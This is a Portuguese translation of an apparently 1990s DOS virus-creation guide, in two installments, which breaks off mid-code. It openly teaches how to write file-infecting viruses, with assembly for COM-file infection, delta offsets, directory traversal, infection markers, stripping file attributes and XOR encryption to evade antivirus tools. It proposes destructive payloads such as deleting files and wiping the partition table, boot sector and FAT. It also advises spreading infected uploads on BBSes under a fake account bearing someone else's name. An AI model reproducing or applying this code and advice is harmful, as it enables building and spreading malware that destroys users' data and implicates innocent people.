Guia de criação de vírus
Vírus são horríveis criações
que foram escritas para se multiplicarem
e destruírem os sistemas de idiotas incautos. Isso
elimina dos
sistemas
todos os simplesões que não acham um problema quando
um arquivo
de 100 bytes
transforma-se em um de 1000 bytes. Bah, esse imbecis não
deveriam
existir,
sendo assim, é nosso trabalho sagrado varrer os discos rígidos
deles
da face
da terra. É apenas uma questão de sobrevivência
do mais forte.
Porque eu criei esse guia? Depois de escrever muitos virus,
eu fiquei
sabendo
que os criadores de virus geralmente aprendem a criar virus atraves
dos seus
próprios vírus ou ao examinar o codigo dessassemblado
de outros
vírus.
Existe uma falta incrível de informação no
assunto. Mesmo livros
publicados
por grandes nomes tal como Burger, não mostram como
são criados
os vírus. Esse
guia irá mostrar a você como criar um vírus
e também irá dar a você
um monte
de códigos fontes para incluir em seu próprio vírus.
Criar vírus não é tão difícl
como você deve estar imaginando. Para
escrever
um vírus efetivo, entretanto, você *deve* conhecer
a linguagem
assembly.
Pequeno, código compacto são marcas registradas da
linguagem
assembly e essas
são características desejáveis dos vírus.
Entretanto, *não* é
necessário escrever
em puro assembler. C também pode ser usado, uma vez
que ele
permite quase controle
total no sistema enquanto gera código relativamente compacto
(se
você ficar longe
das bibliotecas de funções). Entretanto, você
deverá acessar as
interrupções, assim
conhecimento em assembly continua necessário. Entretanto,
ficar no
assembly puro
é melhor, uma vez que muitas operações são
mais facilmente
codificadas em assembly.
Se você não conhece assembly, eu recomendo pegar uma
cópia da
Bíblia Microsoft de
Macro Assembler (Nabajyoti Barkakati, ISBN #: 0-672-22659-6).
É
um livro simples
de seguir cobrindo o assembly com muitos detalhes.
Também pegar uma cópia de Undocumented DOS (Schulman,
et al,
ISBN #0-201-57064-5),
também seria muito útil.
A questão de qual compilador usar também é
difícil. Eu sugiro usar
o
Borland Turbo Assembler e/ou Borland C++. Eu
não tenho uma
cópia do Zortech C
(ele é muito grande para download), mas eu acho que ele
é uma boa
escolha. Fique
longe dos compiladores Microsoft, uma vez que eles não são
tão
flexíveis nem
eficientes como aqueles dos outros fabricantes.
Um pouco mais de itens rondam a lista de ferramentas que ajudam
na
construção de
vírus. As últimas versões do Norton
Utilities são uns dos programas
mais poderosos
disponíveis, e são imensamente necessários.
TENHA CERTEZA
QUE VOCÊ TENHA UMA CÓPIA!
Você pode encontrar isso em qualquer BBS decente. O
Norton é
usado em cada passo do
processo, da escrita até o teste. Bons helps sobre
debugger. Utilitáris
de controle
de memória tais como MAPMEM, PMAP, e MARK/RELEASE, são
utilitários sem valor,
especialmente quando criando vírus TSR. Sourcer, o
dissassemblador
comentado, é útil
para examinar o código de outros vírus (esse é
um bom lugar para
pegar idéias/técnicas
para seu vírus).
Agora que você tem suas ferramentas, você está
pronto para criar um
trabalho de arte
criado para esmagar os sistemas dos cretinos. Existem três
tipos de
vírus:
1) Vírus pequenos (abaixo dos 500
bytes) que são feitos para
serem indetectáveis devido ao seu
pequeno tamanho. TINY é um desses vírus.
Eles são geralmente
muito simples devido
ao fato que seu tamanho é muito limitado.
2) Vírus Grandes (acima dos
1,500 bytes) que são feitos para ser
indetectáveis devido ao
fato que eles cobrem seu rastro muito bem (todo aquele código
SERVE para algo!). O melhor
exempho desse é o vírus Whale, que é
talvez o melhor vírus 'Stealth'
atualmente.
3) Outros vírus que não
são feitos para serem escondidos
totalmente (os escritores não ligam
para isso). Os vírus comuns são como
esses. Todos os vírus que
sobreescrevem estão nessa
categoria.
Você deve decidir que tipo de vírus você irá
escrever. Eu irei tratar
mais do segundo tipo
(Vírus Stealth). Entretanto, muitas das técnicas
descritas podem ser
facilmente aplicadas para
o primeiro tipo (vírus pequenos).
Entretantos, os vírus pequenos geralmente não tem
muitas das
"qualidades" dos vírus maiores,
tais como diretórios transversal. O terceiro tipo
é mais um tipo de
replicação de caválo de
tróia, e irá garantir uma rápida (muito, muito
rápida!) discussão mais
tarde.
Um vírus pode ser dividido em três partes: a replicação,
a
camuflagem, e a bomba. A parte
replicadora controla a multiplicação do vírus
para outros arquivos, a
camuflagem evita o vírus
de ser encontrado, e a bomba apenas executa quando a condição
de
ativação do vírus (more sobre
isso mais tarde) são satisfeitas.
A REPLICAÇÃO
O trabalho para a replicação é o de multiplicar
o vírus através do
sistema do cara que pegou o
vírus. Como fazer isso sem destruir os arquivos que
ele infecta? A
forma mais fácil de fazer
esse tipo de replicação é através da
infecção de arquivos COM. Ele
primeiro salva os primeiros
bytes do arquivos infectado. Depois ele copia uma pequena
parte de
seu código para o início do
arquivo, e o resto para o fim.
+----------------+ +------------+
| P1 | P2
| | V1 | V2 |
+----------------+ +------------+
Arquivo normal
O código do vírus
No diagrama, P1 é a parte 1 do arquivo, P2 é a parte
2 do arquivo, e
V1 e V2 são as partes 1 e 2
do vírus. Note que que o tamanho de P1 deve ser o
mesmo do que o
tamanho de V1, mas o tamanho de
P2 não deve ser necessariamente o mesmo de V2. O vírus
primeiro
salva P1 e copia ele para:
1) O fim do arquivo ou 2) dentro do código do vírus.
Vamos
assumir que ele copia o código para
o fim do arquivo. Esse arquivo agora agora está assim:
+---------------------+
| P1 | P2
| P1 |
+---------------------+
Então, o vírus copia a primeira parte de si próprio
para o início do
arquivo.
+---------------------+
| V1 | P2 | P1
|
+---------------------+
Finalmente, o vírus copia a segunda parte de si próprio
para o fim do
arquivo. A cópia final, o
arquivo infectado fica parecendo assim:
+-----------------------------+
| V1 | P2
| P1 | V2 |
+-----------------------------+
A questão é: Que diabos fazem V1 e V2? V1 transferem
controle do
programa para V2. O código
para fazer isso é simples.
JMP FAR PTR Duh
; Takes four bytes
Duh DW V2_Start
; Takes two bytes
Duh é um far pointer (Segmento:Offset) apontando para a
primeira
instrução de V2. Note que o
valor de Duh deve ser modificada para refletir o tamanho do arquivo
que está infectado. Por
exemplo, se o tamanho original do programa é 79 bytes, Duh
pode ser
modificado assim a instrução
em CS:[155h] é executada. O valor de Duh é
obtido ao acrescentar o
tamanho de V1, o tamanho
original do arquivo infectado, e 256 (para contar para o PSP).
Nesse
caso, V1=6 e P1 + P2 = 79,
assim 6 + 79 + 256 = 341 decimal
(155 hex).
Um método alternado, muito mais difícil de entender
segue-se:
DB 1101001b
; Código para o JMP (deslocamento de 2
byte)
Duh DW V2_Start - OFFSET Duh ; deslocamento
de 2 byte
Isso insere o offset jump diretamente no código seguido
da instrução
jump. Você também pode
trocar a segunda linha com
DW V2_Start - $
que faz a mesma tarefa.
V2 contém o resto do código, i.e. o código
que faz todo o resto. A
última parte de V2 copia P1
sobre V1 (na memória, não no disco) e então
transfere o controle para
o início do arquivo (na
memória). O programa original então roda feliz
como se nada tivesse
acontecido. O código para
fazer é muito simples.
MOV SI, V2_START
; V2_START é um rótulo marcando onde
V2 inicia
SUB SI, V1_LENGTH
; Volta atras para onde P1 está
armazenado
MOV DI, 0100h
; Todos os arquivos COM são carregados @
CS:[100h] na memória
MOV CX, V1_LENGTH
; Move CX bytes
REP MOVSB
; DS:[SI] -> ES:[DI]
MOV DI, 0100h
JMP DI
Esse código assume que P1 está localizado logo após
V2, como aqui:
P1_Stored_Here:
.
.
.
V2_Start:
Isso também assume ES igual a CS. Se essas instruções
são falsas,
mude o código de acordo.
Aqui vai um exemplo:
PUSH CS
; armazena CS
POP ES
; e move isso para ES
; Note MOV ES, CS não é uma instrução
instrução válida
MOV SI, P1_START
; Move de onde P1 está armazenado
MOV DI, 0100h
; para CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB
MOV DI, 0100h
JMP DI
Esse código primeiro move CS para ES e então seta
o pointer fonte
de MOVSB para onde P1 está
localizado. Lembre-se que isso tudo está pegando lugar
na memória,
assim você precisa o OFFSET
de P1, não apenas a localização física
do arquivo. O offset de P1 é
100h maior do que a
localização física do arquivo, uma vez que
arquivos COM são
carregados a partir de CS:[100h].
Assim aqui está um sumário das partes do vírus
e localização dos
rótulos:
V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
; Primeira parte do programa armazenado aqui para uso futuro
P1_End:
V2_Start:
; Programa Real
V2_End:
V1_Length EQU V1_End - V1_Start
Alternativamente, você pode armazenar P1 em V2 como segue:
V2_Start:
P1_Start:
P1_End:
V2_End:
É isso esquema para infectar um arquivo COM sem destruir
ele!
Simples, não? Arquivos EXE, entretanto,
são um pouco mais difíceis de infectar sem deixar
eles inexecutáveis -
Eu irei cobrir esse tópico
em um arquivo mais tarde.
Agora nós iremos voltar nossa atenção para
a porção replicadora do
vírus.
Os passos são mostrados abaixo:
1) Encontrar um arquivo para infectar
2) Checar se ele já está
infectado
3) Se sim, voltar para 1
4) Infectar ele
5) Se já infectou arquivos que
chegam então sai.
6) Senão, volta para 1
Encontrar um arquivo para infectar é uma forma simples de
escrever
um procedimento de diretórios
transversais e pode-se instruir chamadas FINDFIRST e FINDNEXT
para encontrar arquivos possíveis
para infectar. Uma vez que você encontra um arquivo,
abra ele e leia
os primeiros poucos bytes.
Se eles são os mesmos que os primeiros bytes V1, então
o arquivo já
está infectado. Se o bytes
de V1 não são exclusivos de seu vírus então
mude ele assim eles
serão. É *extremamente*
importante que seu vírus não reinfecte os mesmos
arquivos, uma vez
que foi dessa forma que o
Jerusalem foi detectado pela primeira vez. Se o arquivos
não estava
infectado, então infecte-o!
Infecção deverá ter os seguintes passos:
1) Mudar os atributos do arquivo para
nada.
2) Salvar a data/hora do arquivo.
3) Fechar o arquivo.
4) Abra ele de novo em modo de leitura/gravação.
5) Salve P1 e acrescente ele no fim do
arquivo.
6) Copie V1 para o início, mas
modifique o offset para onde ele
JMPs (pula) assim ele
transfere
o controle corretamente.
7) Anexar V2 no fim do arquivo.
8) Restaure atributos do arquivo e a data/hora.
Você pode manter um contador de número de arquivos
infectados
durante essa rodada. Se o número
excede, digamos 3, então pare. É melhor infectar
aos pouco do que se
deixar descobrir ao tentar
infectar todo o drive de uma vez só.
Você deve cobrir todos os seus rastros quando você
infecta um
arquivo. Salve os atributos do
arquivo originais mais a data e hora e restaure eles quando você
terminar. ISSO É MUITO
IMPORTANTE! Isso pega 50 a 75 bytes de código, provavelmente
menos, para fazer essas poucas
coisas que fazem maravilhas na hora de esconder seu programa.
Eu irei incluir o código para a função de
diretório transversal, assim
como outras partes do
replicador na próxima edição do meu Guia de
Vírus.
CAMUFLANDO
Essa é a parte que camufla o programa para não ser
encontrado pelo
usuário de todo dia e pelos
anti-vírus.
As forma mais simples de camuflagem é a encriptação.
O código para uma encriptação simples em XOR
segue:
encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val
mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si
xor_loop:
lodsb
; DS:[SI] -> AL
xor al, ah
stosb
; AL -> ES:[DI]
loop xor_loop
ret
Note que os procedimentos de encriptação e desencriptação
são as
mesmas. Isso é devido a
natureza louca do XOR. Você pode chamar (CALL) esses
procedimentos de qualquer lugar no programa
mas tenha certeza que não chame ele de um lugar de dentro
da área a
ser encryptada, pois o
programa irá dar erros. Quando escrever o vírus,
mude o valor de
encriptação para 0.
part_to_encrypt_start e part_to_encrypt_end indicam a parte que
você
deseja encriptar. Use uma
chama decrypt no início de V2 para desencriptar o arquivo
assim seu
programa pode rodar. Quando
Infectar um arquivo, primeiro mude o encrypt_val, depois chame
encrypt, depois escreva V2 para o
fim do arquivo, e chame decrypt. TENHA CERTEZA QUE ESSA
PARTE NÃO ESTEJA NA ÁREA QUE VAI SER
ENCRIPTADA!!!
Aqui está como V2 irá parecer com a camuflagem:
V2_Start:
Concealer_Start:
.
.
.
Concealer_End:
Replicator_Start:
.
.
.
Replicator_End:
Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:
Alternativamente, você pode mover partes do código
não-encriptado
entre Part_To_Encrypt_End e
V2_End.
O valor da encriptação é somente aparente.
Encriptação torna a tarefa
dos anti-vírus difícil
para encontrar seu vírus. Ele também esconde
algumas cadeias de
textos localizadas em seu
programa. Esta é a forma mais fácil e curta
de esconder seu vírus.
Encriptação é apenas uma forma de camuflar
o vírus. Há vírus que
alteram as interrupções do DOS
e altera a saída de dados do DIR, assim os tamanhos do arquivo
aparecem normais. Outra forma
de camuflar (Para vírus TSR) é alterar o DOS assim
utilitários de
memória não detectam o
vírus. Carregar o vírus em certas partes da
memória permitem que
eles sobrevivam a um reboot.
Existem muitas técnicas de camuflagem do vírus, limitadas
apenas
pela imaginação do escritor.
A BOMBA
Bom, agora que toda a parte chata está feita. A coisa
indecente está
contida aqui. A parte do
vírus que faz todas as deleções/slowdown/etc
que deixam os vírus tão
incomodáveis. De alguma
condições de ativação para o vírus.
Isso pode ser qualquer coisa, indo
da data de seu
aniversário até quando o vírus infectou 100
arquivos. Quando essas
condições se concretizam,
então o seu vírus executa a bomba. Alguma sugestões
de bombas
possíveis:
1) Deixar o sistema mais lento - facilmente
feito ao capturar uma
interrupção e causar um
delay quando ela ativa.
2) Deleção de arquivos -
Deletar todos os arquivos ZIP do drive.
3) Mostrar messagens - Mostrar uma messagem
legal tipo dissendo
algo de mesmo efeito de:
"Você está fodido"
4) Apagar/Trocar as tabelas de partição/Setor
de Boot/FAT do
disco rígido - isso é muito mal,
e muitos idiotas não conseguem arrumar isso.
Esse é, com certeza, a parte engraçada de escrever
um vírus, então
seja original!
PROBLEMAS
COM O OFFSET
Existe um problema no cálculo de offsets. Depois de
você infectar
um arquivos, os locais das
variáveis mudam. Você TEM que contar isso.
Todos offsets
relativos podem ficam o mesmo, mas
você tem que acrescentar o tamanho do arquivo para os offsets
absolutos ou seu programa não vai
funcionar. Essa é a parte mais complicada ao escrever
o vírus e levar
isso em conta irá aumentar
grandemente o tamanho do vírus. ISSO É MUITO
IMPORTANTE E
VOCÊ DEVE ESTAR ENTENDENDO ISSO ANTES
DE TENTAR ESCREVER UM QUE NÃO SOBREESCREVE OS
PROGRAMAS! Se você não o fizer, você vai
se fuder
e o seu vírus NÃO VAI TRABALHAR! Uma parte
inteira desse guia
vai ser devotado para esse
problema.
TESTANDO
Testar o vírus é uma parte perigosa mas essential
no processo de
criação de vírus. É para se ter
certeza que pessoas *irão* ser prejudicadas pelo vírus.
Teste-o em
todas as condições e tenha
certeza que ele ativa-se dentro das condições.
Isso pode ser me
melhor feito se você ou algum
amigo tiver um segundo computador para testas o vírus, mas,
é claro,
esse não é o nosso caso.
Assim, é ESSENCIAL que você mantenha cópias
de segurança de
seus arquivos, partição, boot record,
e FAT. Norton é ótimo em fazer isso.
Nao esqueça esse aviso
porque você SERÁ atingido pelo seu
próprio vírus. Quando eu fiz me primeiro vírus,
meu sistema foi
abaixo por dois dias porque eu
não tinha boas cópias de segurança.
Com sorte, o vírus não era muito
destrutivo. Eu encontrei
no RamDrive uma ótima forma de testar os vírus, uma
vez que os
danos não são permanente.
RamDrive também é ótimo para testar Cávalos
de Tróia, mas esse é
um tópico para outro arquivo...
DISTRIBUINDO
Essa é outra parte interessante da escrita de vírus.
Isso envolve enviar
seu programa
brilhantemente feito através das linha de telefone para
a sua BBS
local. O que você deve fazer
é infectar um arquivo que faz algo interessante (pegue algum
utilitário útil de outra BBS),
infecte ele e dê um upload nele para o local onde ele será
copiado por
usuários de todo lugar.
A melhor coisa que seu vírus tem é que ele não
é detectado por
anti-vírus idiotas como o da
McAffee, uma vez que ele é novo! E é claro,
tenha certeza que você
está usando uma conta falsa
(duh). Melhor ainda, crie uma conta false com o nome/número
de
telefone de alguém que você não
goste e upload o arquivo infectado com o nome dele. Você
pode
ligar de volta de tempos em tempos
e usar uma porta como a ZDoor para checar a multiplicação
do seu
vírus. Quantos mais copiaram
seu vírus, mais compartilharam a experiência do seu
vírus!
Eu prometi uma breve seção em vírus que sobreescrevem
programas,
assim, aqui esta ela...
VÍRUS QUE
SOBREESCREVEM
PROGRAMA
(OVERWRITING)
Tudo o que esse vírus faz é espalhar-se pelo sistema.
Eles deixar os
arquivos infectados
inutilizados, assim eles são facilmente detectados.
É muito simples
fazer um:
+-------------+ +-----+ +-------------+
| Programa | + |Vírus
| = |Vírus|ama |
+-------------+ +-----+ +-------------+
Esses vírus são pequenos, mas muito fáceis
de serem detectados. Isso
é o suficiente saber!
BOM, É ISSO!!!
Espero que você tenha gostado da primeira edição
de Guia de Criação
de Vírus. Irá ter (com sorte)
futuras edições onde eu discutirei mais sobre vírus
e irei incluir
muito mais código fonte. Até
lá, Happy Coding!!!
==========================================================================
Na última parte do meu guia de criação de
vírus, eu mostrei os vários
tipos de vírus e fiz uma
breve discussão sobre cada. Nessa edição,
eu deverei devotar toda a
minha atenção sobre a porção
replicadora do vírus. Eu prometi código e código
eu estou
apresentando.
Entretanto, eu devo me afastar um momento porque chegou aos meus
ouvidos que algumas cópias
piratas da primeira parte fora inadvertidamente realizadas.
Essas
cópias não contém uma seção
vital que seria o cálculo de offsets.
Você nunca sabe quando estão suas variáveis
e o código está sumindo
na memória. Se você pensar
um pouco, isso seria muito óbvio. Uma vez que você
está anexando
o vírus para o fim de um
programa, a localização na memória esta sendo
alterado, i.e. ele será
maior que o tamanho do
arquivo infectado. Assim, para compensar, nós devemos
pegar a
mudança no offset a partir do
vírus original, ou o offset delta, e acrescentar aquilo
para todas as
referências de variáveis.
Instruções que usam deslocamentos, ex. offsets
relativos, não
precisam ser modificados. Essas
instruções são as classes JA, JB, JZ de instruções,
JMP, SHORT, label
JMP, e CALL. Então,
quando possível use essas vez de JMP FAR PTR.
Suponha nos exemplos seguintes, que si é algo carregado
no offset
delta.
Trocar
mov ax, counter
Por
mov ax, word ptr [si+offset counter]
Trocar
mov dx, offset message
Por
lea dx, [si+offset message]
Você pode estar se perguntado, "Como diabos eu irei encontrar
o
offset delta!?"
É muito simples:
call setup
setup:
pop si
sub si, offset setup
Uma explicação para o fragmento acima está
vindo. CALL setup
empurra a localização para a
próxima instrução, ou seja, offset setup,
indo para a pilha. Depois,
essa instrução é POPada
em si. Finalmente, o offset ORIGINAL de setup (calculada
em tempo
de compilação) é subtraída
de si, dando a você o offset delta. No vírus
original, o offset delta irá
ser 0, ou seja a nova
localização do setup igual a velha localização
do setup.
É preferível usar bp como seu offset delta, uma vez
que si é usado nas
instruções de cadeia de
caracteres. Use aquele que você achar melhor.
Eu irei aleatoriamente
passar de um para outro
dependendo de como cada um se encaixa.
Agora de volta para a replicação...
Um vírus biológico é um organismo parasítico
que usa seu portador
para multiplicar a si mesmo.
Ele deve manter o portador vivo para manter-se vivo. Apenas
quando
ele se multiplicou demais, é
que seu portador morre, morte horrível. Os vírus
eletrônicos
modernos não são diferentes. Ele
se acrescenta para um sistema portador e se reproduz até
que o
sistema inteiro esteja fodido.
Ele então elegantemente demole o sistema do idiota que estava
com o
vírus.
Replicação é aquilo que distingue um
vírus de um simples cavalo de
tróia. Qualquer um pode
fazer um cavalo de tróia, mas um vírus é muito
mais elegante. Ele
age praticamente invisível,
e ele deixa a vítima sem defesas quando ele acaba com o
sistema. A
primeira questão é, é claro,
como um vírus se multiplica? Tanto as infecções
COM e EXE (com
rotinas de infecção de exemplo)
deverão ser apresentadas.
Existem duas grandes variedades de vírus: runtime(tempo
de
execução) e TSR(Terminate and Stay
Resident, termina e continua residente). Vírus de
Runtime, infecta
arquivos quando o programa
infectado está rodando, enquanto que os vírus TSR
ficam residentes
quando o programa infectado
é executado, ele então captura as interrupções
e infecta quando um
arquivo é rodado, aberto,
fechado, e/ou durante a execução (i.e. INT
20h, INT 21h/41h).
Existem vantagens e
desvantagens em cada uma. Vírus Runtime são
difíceis de detectar
uma vez que eles não aparecem
em mapas de memória, mas, olhando outro aspecto, o delay
enquanto
ele procura arquivo e infecta
um arquivo são um motivo para o usuário suspeitar
de que algo está
saindo errado. Vírus TSR, se
não forem bem feitos, podem ser facilmente localizados por
utilitários como o MAPMEM, PMAP, etc,
mas são em geral, pequenos, desde que eles não precisem
de função
para procurar por arquivos para
infectar. Eles são mais rápidos do que vírus
runtime, sendo devido ao
fato que eles não tem que
procurar por arquivos para infectar. Eu devo cobrir vírus
runtime
aqui, e vírus TSR em uma
edição futura.
Aqui está um sumário do procedimento de infecção:
1) Achar um arquivo para infectar.
2) Checar se ele possui os
critérios para infecção.
3) Ver se ele já foi
infectado, e se for, volte para 1.
4) Senão, infecte o
arquivo.
5) Cubra seus rastros.
Eu devo passar por cada um desses passo e mostrar código
de
exemplo para cada um. Note que
praticamente um vírus completo pode ser feito com a informação
acima, você pode simplesmente
separar o código e juntar tudo depois, como os fragmentos
são de
vários vírus diferentes que eu
escrevi, você deve estar familiar com assembly. Eu
apresento
fragmentos de códigos; você que
sabe se quer usar eles como exemplos ou modifica-los para seu
próprio vírus.
PASSO 1 -
ENCONTRANDO
UM ARQUIVO
PARA INFECTAR
Antes de infectar um arquivo, você terá
que encontra-lo primeiro!
Isso é um passo decisivo
na performance do vírus, então isso deverá
ser feito o mais eficiente
quanto possível. Para
vírus runtime, existem algumas opções.
Você pode infectar arquivos
apenas no diretório atual, ou
você pode fazer uma função de diretórios
transversal para infectar
arquivos em TODOS os
diretórios (apenas alguns poucos arquivos por vez, é
claro), ou você
pode infectar arquivos em
alguns diretórios. Por que você deve escolher
apenas para infectar
arquivos no diretório atual?
Isso é uma limitação da eficácia das
infecções. Entretanto, isso é
feito em alguns vírus tanto
para acelerar o processo quanto para diminuir o tamanho do código.
Aqui está uma função de diretório
transversal. Ele usa
recursividade, assim ele é um pouco
lento, mas ele faz o trabalho. Isso foi extraído com
algumas
modificações do Funky Bob Ross Virus
[Beta].
traverse_fcn proc near
push
bp
; Create stack frame
mov
bp,sp
sub
sp,44
; Alocar spaço para DTA
call
infect_directory ; Vá
para rotinas de encontrar e
destruir
mov
ah,1Ah
;Alterar DTA
lea
dx,word ptr [bp-44] ; para distribuir o espaço
int
21h
;Faça isso agora!
mov
ah, 4Eh
;Find first
mov
cx,16
;Mascara de diretório
lea
dx,[si+offset dir_mask] ; *.*
int
21h
jmp
short isdirok
gonow:
cmp
byte ptr [bp-14], '.' ; Primeiro caracter == '.'?
je
short donext
; Sim, faz um loop
lea
dx,word ptr [bp-14] ; senão carregar dirname
mov
ah,3Bh
; e mudar de diretório lá
int
21h
jc
short donext
; Do next se inválido
inc
word ptr [si+offset nest] ; nest++
call
near ptr traverse_fcn ; diretório recursivo
donext:
lea
dx,word ptr [bp-44] ; Carrega espaço alocado
para DTA
mov
ah,1Ah
; e configura DTA para essa nova área
int
21h
; Porque isso pode'cause it might have
changed
mov
ah,4Fh
;Find next
int
21h
isdirok:
jnc
gonow
; Se OK, jmp para outro lugar
cmp
word ptr [si+offset nest], 0 ; Se diretório raiz
; (nest == 0)
jle
short cleanup
; então Quit
dec
word ptr [si+offset nest] ; Senão decrementa nest
lea
dx, [si+offset back_dir]; '..'
mov
ah,3Bh
; Mudar de diretório
int
21h
; Para o próximo
cleanup:
mov
sp,bp
pop
bp
ret
traverse_fcn endp
; Variáveis
nest dw
0
back_dir db '..',0
dir_mask db '*.*',0
O código é auto-explicável. Tenha
certeza de que você tem uma
função infect_directory
que scaneia o diretório em busca de arquivos para serem
infectados e
tenha certeza que ele não
infecte arquivos já infectados. Esta função,
chama infect_file que
infecta o arquivo.
Note, como eu disse antes, isso é lento. Um
método rápido, não o
melhor, é o método "ponto a
ponto". Hellraiser mostrou a mim esse pequeno truque.
Basicamente, você continua procurando
em cada diretório e, se você não tiver infectado
arquivos suficientes,
vá para o diretório
anterior (ponto a ponto) e tenta denovo, e assim vai. O código
é
simples.
dir_loopy:
call
infect_directory
lea
dx, [bp+dotdot]
mov
ah, 3bh
; CHDIR
int
21h
jnc
dir_loopy
; sair se está no diretório
; Variables
dotdot db '..',0
Agora você deve encontrar um arquivo para infectar.
Isso é feito
(nos fragmentos acima) por
uma função chamada infect_directory. Essa função
chama
FINDFIRST e FINDNEXT
uma quantidade de vezes para encontrar arquivos para infectar.
Você
deve primeiro configurar
um novo DTA. NUNCA use o DTA no PSP (a 80h) porque alterando
aquilo irá alterar os parâmetros
da linha de comando do programa infectado quando o controle é
retornado a ele. Isso é feito
facilmento feito com o seguinte código:
mov
ah, 1Ah
; Seta DTA
lea
dx, [bp+offset DTA] ; para uma variável
chamada DTA
(wow!)
int
21h
Onde DTA é um pedaço de 42-byte de memória.
Depois, fazer uma
série de chamadas FINDFIRST e
FINDNEXT:
mov
ah, 4Eh
; Procura primeiro arquivo
mov
cx, 0007h
; Qualquer atributo do arquivo
lea
dx, [bp+offset file_mask]; DS:[DX] --> máscara do
arquivo
int
21h
jc
none_found
found_another:
call
check_infection
mov
ah, 4Fh
; Procura próximo arquivo
int
21h
jnc
found_another
none_found:
Onde file_mask é DBed tanto para '*.EXE',0
ou '*.COM',0.
Alternativamente, você pode
usar FINDFIRST para '*.*',0 e checar se a extensão é
EXE ou COM.
PASSO 2 -
CHECAGEM DE
CRITÉRIOS DE
INFECÇÃO
Seu vírus deve ser esperto em sua infecção.
Por exemplo, você pode
não querer infectar o
COMMAND.COM, uma vez que alguns programas (i.e. o maldito
FluShot+) checa seu CRC ou checksum
quando executado. Aqui abaixo vai uma forma de como não
infectar
o COMMAND.COM, ele checa se
as últimas letras são "ND":
cmp
word ptr [bp+offset DTA+35], 'DN' ; Order Reversa da
palavra
jz
fail_check
PASSO 3 -
CHECANDO POR
INFECÇÃO
ANTERIOR
Todo vírus tem certas características que
permitem que você a você
verificar se um arquivo
já foi infectado. Por exemplo, um pedaço de
código pode aparecer
em um certo lugar. Ou talvez
a instrução JMF estão sempre codificada da
mesma forma. De outra
forma, você deve ter certeza
que seu vírus possui um marcador, assim múltiplas
infecções no
mesmo arquivo não ocorrem. Aqui
está um exemplo de uma checagem desse tipo (para um infector
de
arquivo COM):
mov
ah,3Fh
; Lê os primeiros 3
mov
cx, 3
; bytes do arquivo
lea
dx, [bp+offset buffer]
; para o buffer
int
21h
mov
ax, 4202h
; Procurar o fim do arquivo
xor
cx, cx
; DX:CX = offset
xor
dx, dx
; Retorna o tamanho do arquivo
int
21h
; em DX:AX
sub
ax, virus_size + 3
cmp
word ptr [bp+offset buffer+1], ax
jnz
infect_it
bomb_out:
mov
ah, 3Eh
; senão fecha o arquivo
int
21h
; e vai procurar outro
Nesse exemplo, BX é assumido para mexer com o arquivo
a fim de
checar se foi infectado e se
se o tamanho do vírus é igual ao tamanho do vírus.
Buffer é
assumido para ser uma área de
3 bytes de espaço vazio. Esse fragmento de código
lê os primeiros 3
bytes no buffer e depois
compara a localização do JMP. (localizado no início
do Word em
buffer+1) e se o JMP está a
virus_size bytes antes do Fim do arquivo, então o arquivo
já está
infectado com esse vírus.
Outro método pode ser procurar em uma certa localização
no arquivo
para um byte ou word marcador.
Por exemplo:
mov
ah, 3Fh
; Le os primeiros 4
mov
cx, 4
; bytes do arquivo
lea
dx, [bp+offset buffer]
; no buffer.
int
21h
cmp
byte ptr [buffer+3], infection_id_byte ; Checar o quarto
jz
bomb_out
; byte para o marcador
infect_it:
PASSO 4 -
INFECTAR O
ARQUIVO
Esse é o coração da replicação.
Uma vez que você localizou uma
arquivo potencial, você deve
salvar os atributos, hora, data e tamanho para uso mais tarde.
A parte
abaixo é uma explicação do DTA:
Offset Tamanho
O que é
0h
21 BYTES Reservado, varias a cada versão do DOS
15h
BYTE Atributo do Arquivo
16h
WORD Hora do Arquivo
18h
WORD Data do Arquivo
1Ah
DWORD Tamanho do Arquivo
1Eh
13 BYTES ASCIIZ nome + extensão
Como você pode ver, o DTA contém todas as informações
vitais
quanto ao arquivo que você
precisa. O código abaixo é um exemplo de como salvar
as
informações:
lea
si, [bp+offset DTA+15h]
; Iniciar com atributos
mov
cx, 9
; Terminar com tamanho
lea
di, [bp+offset f_attr]
; Mover para sua localizações
rep
movsb
; Variáves necessárias
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
Você agora pode mudar os atributos do arquivo para
nada através de
INT 21h/Função 43h/
Subfunção 01h. Isso é para permitir
a infecção de arquivos de
sistema, escondidas e arquivos
apenas de leitura. Apenas vírus primitivos (ou minímos)
não
infectam esses arquivos.
lea
dx, [bp+offset DTA+1eh]
; DX aponta para nome do
arquivo em
mov
ax, 4301h
; DTA
xor
cx, cx
; Limpar atributos do arquivos
int
21h
; Fazer a chamada
Uma vez que os atributos foram aniquilados, você pode
abrir o
arquivo com impunidade.
Use um acesso em modo ler/escrever.
lea
dx, [bp+offset DTA+1eh]
; Use nome do arquivo no
DTA
mov
ax, 3d02h
; Abrir modo ler/escrever
int
21h
; duh.
xchg ax,
bx
; Acesso é mais útil em
; BX
Agora nos chegamos na parte que você mais queria:
a rotina de
infecção. Eu estou orgulhoso
para apresentar códigos que irão fazer a infecção
em arquivos COM.
Ahh, você diz, eu posso
fazer isso com a informação apresentada na edição
anterior. Ah, mas
tem muito mais. Um exemplo
de infector de EXE deverá se apresentado rapidamente.
A teoria em infectar foi abordada na última edição,
então eu não
devo entrar em detalhes
denovo. Aqui está um infector de exemplo:
; Exemplo de infector de COM. Assume que BX possuir
o acesso ao
arquivo
; Assume que o arquivo COM passou pelos critérios
de infecções e
não foi infectado ainda.
mov
ah, 3fh
lea
dx, [bp+buffer1]
mov
cx, 3
int
21h
mov
ax, 4200h
; Move o ponteiro do arquivo
xor
cx, cx
; para o início do
xor
dx, dx
; arquivo
int
21h
mov
byte ptr [bp+buffer2], 0e9h ; JMP
mov
ax, word ptr [bp+f_size]
sub
ax, part1_size
; Geralmente 3
mov
word ptr [bp+buffer2+1], ax ; offset do JMP
; Codificar a instrução JMP para trocar o
início do arquivo
mov
byte ptr [bp+buffer2], 0e9h ; JMP
mov
ax, word ptr [bp+f_size]
sub
ax, part1_size
; Geralmente 3
mov
word ptr [bp+buffer2+1], ax ; offset de JMP
; Escreve a instrução JMP no início
do arquivo
mov
ah, 40h
; Escreve CX bytes para
mov
